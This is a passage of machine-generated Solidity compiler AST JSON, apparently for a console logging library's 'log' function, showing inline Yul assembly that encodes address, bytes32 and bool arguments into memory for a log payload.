9:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"96144:6:22","nodeType":"YulIdentifier","src":"96144:6:22"},{"kind":"number","nativeSrc":"96152:4:22","nodeType":"YulLiteral","src":"96152:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"96141:2:22","nodeType":"YulIdentifier","src":"96141:2:22"},"nativeSrc":"96141:16:22","nodeType":"YulFunctionCall","src":"96141:16:22"},"nativeSrc":"96134:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"96158:28:22","nodeType":"YulBlock","src":"96158:28:22","statements":[{"nativeSrc":"96160:24:22","nodeType":"YulAssignment","src":"96160:24:22","value":{"arguments":[{"name":"length","nativeSrc":"96174:6:22","nodeType":"YulIdentifier","src":"96174:6:22"},{"kind":"number","nativeSrc":"96182:1:22","nodeType":"YulLiteral","src":"96182:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"96170:3:22","nodeType":"YulIdentifier","src":"96170:3:22"},"nativeSrc":"96170:14:22","nodeType":"YulFunctionCall","src":"96170:14:22"},"variableNames":[{"name":"length","nativeSrc":"96160:6:22","nodeType":"YulIdentifier","src":"96160:6:22"}]}]},"pre":{"nativeSrc":"96138:2:22","nodeType":"YulBlock","src":"96138:2:22","statements":[]},"src":"96134:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"96251:3:22","nodeType":"YulIdentifier","src":"96251:3:22"},{"name":"length","nativeSrc":"96256:6:22","nodeType":"YulIdentifier","src":"96256:6:22"}],"functionName":{"name":"mstore","nativeSrc":"96244:6:22","nodeType":"YulIdentifier","src":"96244:6:22"},"nativeSrc":"96244:19:22","nodeType":"YulFunctionCall","src":"96244:19:22"},"nativeSrc":"96244:19:22","nodeType":"YulExpressionStatement","src":"96244:19:22"},{"nativeSrc":"96280:37:22","nodeType":"YulVariableDeclaration","src":"96280:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"96297:3:22","nodeType":"YulLiteral","src":"96297:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"96306:1:22","nodeType":"YulLiteral","src":"96306:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"96309:6:22","nodeType":"YulIdentifier","src":"96309:6:22"}],"functionName":{"name":"shl","nativeSrc":"96302:3:22","nodeType":"YulIdentifier","src":"96302:3:22"},"nativeSrc":"96302:14:22","nodeType":"YulFunctionCall","src":"96302:14:22"}],"functionName":{"name":"sub","nativeSrc":"96293:3:22","nodeType":"YulIdentifier","src":"96293:3:22"},"nativeSrc":"96293:24:22","nodeType":"YulFunctionCall","src":"96293:24:22"},"variables":[{"name":"shift","nativeSrc":"96284:5:22","nodeType":"YulTypedName","src":"96284:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"96345:3:22","nodeType":"YulIdentifier","src":"96345:3:22"},{"kind":"number","nativeSrc":"96350:4:22","nodeType":"YulLiteral","src":"96350:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"96341:3:22","nodeType":"YulIdentifier","src":"96341:3:22"},"nativeSrc":"96341:14:22","nodeType":"YulFunctionCall","src":"96341:14:22"},{"arguments":[{"name":"shift","nativeSrc":"96361:5:22","nodeType":"YulIdentifier","src":"96361:5:22"},{"arguments":[{"name":"shift","nativeSrc":"96372:5:22","nodeType":"YulIdentifier","src":"96372:5:22"},{"name":"w","nativeSrc":"96379:1:22","nodeType":"YulIdentifier","src":"96379:1:22"}],"functionName":{"name":"shr","nativeSrc":"96368:3:22","nodeType":"YulIdentifier","src":"96368:3:22"},"nativeSrc":"96368:13:22","nodeType":"YulFunctionCall","src":"96368:13:22"}],"functionName":{"name":"shl","nativeSrc":"96357:3:22","nodeType":"YulIdentifier","src":"96357:3:22"},"nativeSrc":"96357:25:22","nodeType":"YulFunctionCall","src":"96357:25:22"}],"functionName":{"name":"mstore","nativeSrc":"96334:6:22","nodeType":"YulIdentifier","src":"96334:6:22"},"nativeSrc":"96334:49:22","nodeType":"YulFunctionCall","src":"96334:49:22"},"nativeSrc":"96334:49:22","nodeType":"YulExpressionStatement","src":"96334:49:22"}]},"name":"writeString","nativeSrc":"96055:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"96076:3:22","nodeType":"YulTypedName","src":"96076:3:22","type":""},{"name":"w","nativeSrc":"96081:1:22","nodeType":"YulTypedName","src":"96081:1:22","type":""}],"src":"96055:342:22"},{"nativeSrc":"96410:17:22","nodeType":"YulAssignment","src":"96410:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96422:4:22","nodeType":"YulLiteral","src":"96422:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"96416:5:22","nodeType":"YulIdentifier","src":"96416:5:22"},"nativeSrc":"96416:11:22","nodeType":"YulFunctionCall","src":"96416:11:22"},"variableNames":[{"name":"m0","nativeSrc":"96410:2:22","nodeType":"YulIdentifier","src":"96410:2:22"}]},{"nativeSrc":"96440:17:22","nodeType":"YulAssignment","src":"96440:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96452:4:22","nodeType":"YulLiteral","src":"96452:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"96446:5:22","nodeType":"YulIdentifier","src":"96446:5:22"},"nativeSrc":"96446:11:22","nodeType":"YulFunctionCall","src":"96446:11:22"},"variableNames":[{"name":"m1","nativeSrc":"96440:2:22","nodeType":"YulIdentifier","src":"96440:2:22"}]},{"nativeSrc":"96470:17:22","nodeType":"YulAssignment","src":"96470:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96482:4:22","nodeType":"YulLiteral","src":"96482:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"96476:5:22","nodeType":"YulIdentifier","src":"96476:5:22"},"nativeSrc":"96476:11:22","nodeType":"YulFunctionCall","src":"96476:11:22"},"variableNames":[{"name":"m2","nativeSrc":"96470:2:22","nodeType":"YulIdentifier","src":"96470:2:22"}]},{"nativeSrc":"96500:17:22","nodeType":"YulAssignment","src":"96500:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96512:4:22","nodeType":"YulLiteral","src":"96512:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"96506:5:22","nodeType":"YulIdentifier","src":"96506:5:22"},"nativeSrc":"96506:11:22","nodeType":"YulFunctionCall","src":"96506:11:22"},"variableNames":[{"name":"m3","nativeSrc":"96500:2:22","nodeType":"YulIdentifier","src":"96500:2:22"}]},{"nativeSrc":"96530:17:22","nodeType":"YulAssignment","src":"96530:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96542:4:22","nodeType":"YulLiteral","src":"96542:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"96536:5:22","nodeType":"YulIdentifier","src":"96536:5:22"},"nativeSrc":"96536:11:22","nodeType":"YulFunctionCall","src":"96536:11:22"},"variableNames":[{"name":"m4","nativeSrc":"96530:2:22","nodeType":"YulIdentifier","src":"96530:2:22"}]},{"nativeSrc":"96560:17:22","nodeType":"YulAssignment","src":"96560:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96572:4:22","nodeType":"YulLiteral","src":"96572:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"96566:5:22","nodeType":"YulIdentifier","src":"96566:5:22"},"nativeSrc":"96566:11:22","nodeType":"YulFunctionCall","src":"96566:11:22"},"variableNames":[{"name":"m5","nativeSrc":"96560:2:22","nodeType":"YulIdentifier","src":"96560:2:22"}]},{"nativeSrc":"96590:17:22","nodeType":"YulAssignment","src":"96590:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"96602:4:22","nodeType":"YulLiteral","src":"96602:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"96596:5:22","nodeType":"YulIdentifier","src":"96596:5:22"},"nativeSrc":"96596:11:22","nodeType":"YulFunctionCall","src":"96596:11:22"},"variableNames":[{"name":"m6","nativeSrc":"96590:2:22","nodeType":"YulIdentifier","src":"96590:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96690:4:22","nodeType":"YulLiteral","src":"96690:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"96696:10:22","nodeType":"YulLiteral","src":"96696:10:22","type":"","value":"0x6f1a594e"}],"functionName":{"name":"mstore","nativeSrc":"96683:6:22","nodeType":"YulIdentifier","src":"96683:6:22"},"nativeSrc":"96683:24:22","nodeType":"YulFunctionCall","src":"96683:24:22"},"nativeSrc":"96683:24:22","nodeType":"YulExpressionStatement","src":"96683:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96727:4:22","nodeType":"YulLiteral","src":"96727:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"96733:2:22","nodeType":"YulIdentifier","src":"96733:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96720:6:22","nodeType":"YulIdentifier","src":"96720:6:22"},"nativeSrc":"96720:16:22","nodeType":"YulFunctionCall","src":"96720:16:22"},"nativeSrc":"96720:16:22","nodeType":"YulExpressionStatement","src":"96720:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96756:4:22","nodeType":"YulLiteral","src":"96756:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"96762:2:22","nodeType":"YulIdentifier","src":"96762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96749:6:22","nodeType":"YulIdentifier","src":"96749:6:22"},"nativeSrc":"96749:16:22","nodeType":"YulFunctionCall","src":"96749:16:22"},"nativeSrc":"96749:16:22","nodeType":"YulExpressionStatement","src":"96749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96785:4:22","nodeType":"YulLiteral","src":"96785:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"96791:4:22","nodeType":"YulLiteral","src":"96791:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"96778:6:22","nodeType":"YulIdentifier","src":"96778:6:22"},"nativeSrc":"96778:18:22","nodeType":"YulFunctionCall","src":"96778:18:22"},"nativeSrc":"96778:18:22","nodeType":"YulExpressionStatement","src":"96778:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96816:4:22","nodeType":"YulLiteral","src":"96816:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"96822:2:22","nodeType":"YulIdentifier","src":"96822:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96809:6:22","nodeType":"YulIdentifier","src":"96809:6:22"},"nativeSrc":"96809:16:22","nodeType":"YulFunctionCall","src":"96809:16:22"},"nativeSrc":"96809:16:22","nodeType":"YulExpressionStatement","src":"96809:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96850:4:22","nodeType":"YulLiteral","src":"96850:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"96856:2:22","nodeType":"YulIdentifier","src":"96856:2:22"}],"functionName":{"name":"writeString","nativeSrc":"96838:11:22","nodeType":"YulIdentifier","src":"96838:11:22"},"nativeSrc":"96838:21:22","nodeType":"YulFunctionCall","src":"96838:21:22"},"nativeSrc":"96838:21:22","nodeType":"YulExpressionStatement","src":"96838:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36824,"isOffset":false,"isSlot":false,"src":"96410:2:22","valueSize":1},{"declaration":36827,"isOffset":false,"isSlot":false,"src":"96440:2:22","valueSize":1},{"declaration":36830,"isOffset":false,"isSlot":false,"src":"96470:2:22","valueSize":1},{"declaration":36833,"isOffset":false,"isSlot":false,"src":"96500:2:22","valueSize":1},{"declaration":36836,"isOffset":false,"isSlot":false,"src":"96530:2:22","valueSize":1},{"declaration":36839,"isOffset":false,"isSlot":false,"src":"96560:2:22","valueSize":1},{"declaration":36842,"isOffset":false,"isSlot":false,"src":"96590:2:22","valueSize":1},{"declaration":36814,"isOffset":false,"isSlot":false,"src":"96733:2:22","valueSize":1},{"declaration":36816,"isOffset":false,"isSlot":false,"src":"96762:2:22","valueSize":1},{"declaration":36818,"isOffset":false,"isSlot":false,"src":"96856:2:22","valueSize":1},{"declaration":36820,"isOffset":false,"isSlot":false,"src":"96822:2:22","valueSize":1}],"id":36844,"nodeType":"InlineAssembly","src":"96032:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"96894:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36847,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"96900:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36845,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"96878:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36848,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"96878:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36849,"nodeType":"ExpressionStatement","src":"96878:27:22"},{"AST":{"nativeSrc":"96924:214:22","nodeType":"YulBlock","src":"96924:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"96945:4:22","nodeType":"YulLiteral","src":"96945:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"96951:2:22","nodeType":"YulIdentifier","src":"96951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96938:6:22","nodeType":"YulIdentifier","src":"96938:6:22"},"nativeSrc":"96938:16:22","nodeType":"YulFunctionCall","src":"96938:16:22"},"nativeSrc":"96938:16:22","nodeType":"YulExpressionStatement","src":"96938:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"96974:4:22","nodeType":"YulLiteral","src":"96974:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"96980:2:22","nodeType":"YulIdentifier","src":"96980:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96967:6:22","nodeType":"YulIdentifier","src":"96967:6:22"},"nativeSrc":"96967:16:22","nodeType":"YulFunctionCall","src":"96967:16:22"},"nativeSrc":"96967:16:22","nodeType":"YulExpressionStatement","src":"96967:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"97003:4:22","nodeType":"YulLiteral","src":"97003:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"97009:2:22","nodeType":"YulIdentifier","src":"97009:2:22"}],"functionName":{"name":"mstore","nativeSrc":"96996:6:22","nodeType":"YulIdentifier","src":"96996:6:22"},"nativeSrc":"96996:16:22","nodeType":"YulFunctionCall","src":"96996:16:22"},"nativeSrc":"96996:16:22","nodeType":"YulExpressionStatement","src":"96996:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"97032:4:22","nodeType":"YulLiteral","src":"97032:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"97038:2:22","nodeType":"YulIdentifier","src":"97038:2:22"}],"functionName":{"name":"mstore","nativeSrc":"97025:6:22","nodeType":"YulIdentifier","src":"97025:6:22"},"nativeSrc":"97025:16:22","nodeType":"YulFunctionCall","src":"97025:16:22"},"nativeSrc":"97025:16:22","nodeType":"YulExpressionStatement","src":"97025:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"97061:4:22","nodeType":"YulLiteral","src":"97061:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"97067:2:22","nodeType":"YulIdentifier","src":"97067:2:22"}],"functionName":{"name":"mstore","nativeSrc":"97054:6:22","nodeType":"YulIdentifier","src":"97054:6:22"},"nativeSrc":"97054:16:22","nodeType":"YulFunctionCall","src":"97054:16:22"},"nativeSrc":"97054:16:22","nodeType":"YulExpressionStatement","src":"97054:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"97090:4:22","nodeType":"YulLiteral","src":"97090:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"97096:2:22","nodeType":"YulIdentifier","src":"97096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"97083:6:22","nodeType":"YulIdentifier","src":"97083:6:22"},"nativeSrc":"97083:16:22","nodeType":"YulFunctionCall","src":"97083:16:22"},"nativeSrc":"97083:16:22","nodeType":"YulExpressionStatement","src":"97083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"97119:4:22","nodeType":"YulLiteral","src":"97119:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"97125:2:22","nodeType":"YulIdentifier","src":"97125:2:22"}],"functionName":{"name":"mstore","nativeSrc":"97112:6:22","nodeType":"YulIdentifier","src":"97112:6:22"},"nativeSrc":"97112:16:22","nodeType":"YulFunctionCall","src":"97112:16:22"},"nativeSrc":"97112:16:22","nodeType":"YulExpressionStatement","src":"97112:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36824,"isOffset":false,"isSlot":false,"src":"96951:2:22","valueSize":1},{"declaration":36827,"isOffset":false,"isSlot":false,"src":"96980:2:22","valueSize":1},{"declaration":36830,"isOffset":false,"isSlot":false,"src":"97009:2:22","valueSize":1},{"declaration":36833,"isOffset":false,"isSlot":false,"src":"97038:2:22","valueSize":1},{"declaration":36836,"isOffset":false,"isSlot":false,"src":"97067:2:22","valueSize":1},{"declaration":36839,"isOffset":false,"isSlot":false,"src":"97096:2:22","valueSize":1},{"declaration":36842,"isOffset":false,"isSlot":false,"src":"97125:2:22","valueSize":1}],"id":36850,"nodeType":"InlineAssembly","src":"96915:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"95819:3:22","parameters":{"id":36821,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36814,"mutability":"mutable","name":"p0","nameLocation":"95831:2:22","nodeType":"VariableDeclaration","scope":36852,"src":"95823:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36813,"name":"address","nodeType":"ElementaryTypeName","src":"95823:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36816,"mutability":"mutable","name":"p1","nameLocation":"95843:2:22","nodeType":"VariableDeclaration","scope":36852,"src":"95835:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36815,"name":"address","nodeType":"ElementaryTypeName","src":"95835:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36818,"mutability":"mutable","name":"p2","nameLocation":"95855:2:22","nodeType":"VariableDeclaration","scope":36852,"src":"95847:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36817,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95847:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36820,"mutability":"mutable","name":"p3","nameLocation":"95864:2:22","nodeType":"VariableDeclaration","scope":36852,"src":"95859:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36819,"name":"bool","nodeType":"ElementaryTypeName","src":"95859:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"95822:45:22"},"returnParameters":{"id":36822,"nodeType":"ParameterList","parameters":[],"src":"95882:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36892,"nodeType":"FunctionDefinition","src":"97150:1340:22","nodes":[],"body":{"id":36891,"nodeType":"Block","src":"97225:1265:22","nodes":[],"statements":[{"assignments":[36864],"declarations":[{"constant":false,"id":36864,"mutability":"mutable","name":"m0","nameLocation":"97243:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97235:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36863,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97235:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36865,"nodeType":"VariableDeclarationStatement","src":"97235:10:22"},{"assignments":[36867],"declarations":[{"constant":false,"id":36867,"mutability":"mutable","name":"m1","nameLocation":"97263:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97255:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36866,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97255:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36868,"nodeType":"VariableDeclarationStatement","src":"97255:10:22"},{"assignments":[36870],"declarations":[{"constant":false,"id":36870,"mutability":"mutable","name":"m2","nameLocation":"97283:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97275:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36869,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97275:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36871,"nodeType":"VariableDeclarationStatement","src":"97275:10:22"},{"assignments":[36873],"declarations":[{"constant":false,"id":36873,"mutability":"mutable","name":"m3","nameLocation":"97303:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36872,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97295:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36874,"nodeType":"VariableDeclarationStatement","src":"97295:10:22"},{"assignments":[36876],"declarations":[{"constant":false,"id":36876,"mutability":"mutable","name":"m4","nameLocation":"97323:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36875,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97315:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36877,"nodeType":"VariableDeclarationStatement","src":"97315:10:22"},{"assignments":[36879],"declarations":[{"constant":false,"id":36879,"mutability":"mutable","name":"m5","nameLocation":"97343:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36878,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97335:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36880,"nodeType":"VariableDeclarationStatement","src":"97335:10:22"},{"assignments":[36882],"declarations":[{"constant":false,"id":36882,"mutability":"mutable","name":"m6","nameLocation":"97363:2:22","nodeType":"VariableDeclaration","scope":36891,"src":"97355:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36881,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97355:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36883,"nodeType":"VariableDeclarationStatement","src":"97355:10:22"},{"AST":{"nativeSrc":"97384:831:22","nodeType":"YulBlock","src":"97384:831:22","statements":[{"body":{"nativeSrc":"97427:313:22","nodeType":"YulBlock","src":"97427:313:22","statements":[{"nativeSrc":"97445:15:22","nodeType":"YulVariableDeclaration","src":"97445:15:22","value":{"kind":"number","nativeSrc":"97459:1:22","nodeType":"YulLiteral","src":"97459:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"97449:6:22","nodeType":"YulTypedName","src":"97449:6:22","type":""}]},{"body":{"nativeSrc":"97530:40:22","nodeType":"YulBlock","src":"97530:40:22","statements":[{"body":{"nativeSrc":"97559:9:22","nodeType":"YulBlock","src":"97559:9:22","statements":[{"nativeSrc":"97561:5:22","nodeType":"YulBreak","src":"97561:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"97547:6:22","nodeType":"YulIdentifier","src":"97547:6:22"},{"name":"w","nativeSrc":"97555:1:22","nodeType":"YulIdentifier","src":"97555:1:22"}],"functionName":{"name":"byte","nativeSrc":"97542:4:22","nodeType":"YulIdentifier","src":"97542:4:22"},"nativeSrc":"97542:15:22","nodeType":"YulFunctionCall","src":"97542:15:22"}],"functionName":{"name":"iszero","nativeSrc":"97535:6:22","nodeType":"YulIdentifier","src":"97535:6:22"},"nativeSrc":"97535:23:22","nodeType":"YulFunctionCall","src":"97535:23:22"},"nativeSrc":"97532:36:22","nodeType":"YulIf","src":"97532:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"97487:6:22","nodeType":"YulIdentifier","src":"97487:6:22"},{"kind":"number","nativeSrc":"97495:4:22","nodeType":"YulLiteral","src":"97495:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"97484:2:22","nodeType":"YulIdentifier","src":"97484:2:22"},"nativeSrc":"97484:16:22","nodeType":"YulFunctionCall","src":"97484:16:22"},"nativeSrc":"97477:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"97501:28:22","nodeType":"YulBlock","src":"97501:28:22","statements":[{"nativeSrc":"97503:24:22","nodeType":"YulAssignment","src":"97503:24:22","value":{"arguments":[{"name":"length","nativeSrc":"97517:6:22","nodeType":"YulIdentifier","src":"97517:6:22"},{"kind":"number","nativeSrc":"97525:1:22","nodeType":"YulLiteral","src":"97525:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"97513:3:22","nodeType":"YulIdentifier","src":"97513:3:22"},"nativeSrc":"97513:14:22","nodeType":"YulFunctionCall","src":"97513:14:22"},"variableNames":[{"name":"length","nativeSrc":"97503:6:22","nodeType":"YulIdentifier","src":"97503:6:22"}]}]},"pre":{"nativeSrc":"97481:2:22","nodeType":"YulBlock","src":"97481:2:22","statements":[]},"src":"97477:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"97594:3:22","nodeType":"YulIdentifier","src":"97594:3:22"},{"name":"length","nativeSrc":"97599:6:22","nodeType":"YulIdentifier","src":"97599:6:22"}],"functionName":{"name":"mstore","nativeSrc":"97587:6:22","nodeType":"YulIdentifier","src":"97587:6:22"},"nativeSrc":"97587:19:22","nodeType":"YulFunctionCall","src":"97587:19:22"},"nativeSrc":"97587:19:22","nodeType":"YulExpressionStatement","src":"97587:19:22"},{"nativeSrc":"97623:37:22","nodeType":"YulVariableDeclaration","src":"97623:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"97640:3:22","nodeType":"YulLiteral","src":"97640:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"97649:1:22","nodeType":"YulLiteral","src":"97649:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"97652:6:22","nodeType":"YulIdentifier","src":"97652:6:22"}],"functionName":{"name":"shl","nativeSrc":"97645:3:22","nodeType":"YulIdentifier","src":"97645:3:22"},"nativeSrc":"97645:14:22","nodeType":"YulFunctionCall","src":"97645:14:22"}],"functionName":{"name":"sub","nativeSrc":"97636:3:22","nodeType":"YulIdentifier","src":"97636:3:22"},"nativeSrc":"97636:24:22","nodeType":"YulFunctionCall","src":"97636:24:22"},"variables":[{"name":"shift","nativeSrc":"97627:5:22","nodeType":"YulTypedName","src":"97627:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"97688:3:22","nodeType":"YulIdentifier","src":"97688:3:22"},{"kind":"number","nativeSrc":"97693:4:22","nodeType":"YulLiteral","src":"97693:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"97684:3:22","nodeType":"YulIdentifier","src":"97684:3:22"},"nativeSrc":"97684:14:22","nodeType":"YulFunctionCall","src":"97684:14:22"},{"arguments":[{"name":"shift","nativeSrc":"97704:5:22","nodeType":"YulIdentifier","src":"97704:5:22"},{"arguments":[{"name":"shift","nativeSrc":"97715:5:22","nodeType":"YulIdentifier","src":"97715:5:22"},{"name":"w","nativeSrc":"97722:1:22","nodeType":"YulIdentifier","src":"97722:1:22"}],"functionName":{"name":"shr","nativeSrc":"97711:3:22","nodeType":"YulIdentifier","src":"97711:3:22"},"nativeSrc":"97711:13:22","nodeType":"YulFunctionCall","src":"97711:13:22"}],"functionName":{"name":"shl","nativeSrc":"97700:3:22","nodeType":"YulIdentifier","src":"97700:3:22"},"nativeSrc":"97700:25:22","nodeType":"YulFunctionCall","src":"97700:25:22"}],"functionName":{"name":"mstore","nativeSrc":"97677:6:22","nodeType":"YulIdentifier","src":"97677:6:22"},"nativeSrc":"97677:49:22","nodeType":"YulFunctionCall","src":"97677:49:22"},"nativeSrc":"97677:49:22","nodeType":"YulExpressionStatement","src":"97677:49:22"}]},"name":"writeString","nativeSrc":"97398:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"97419:3:22","nodeT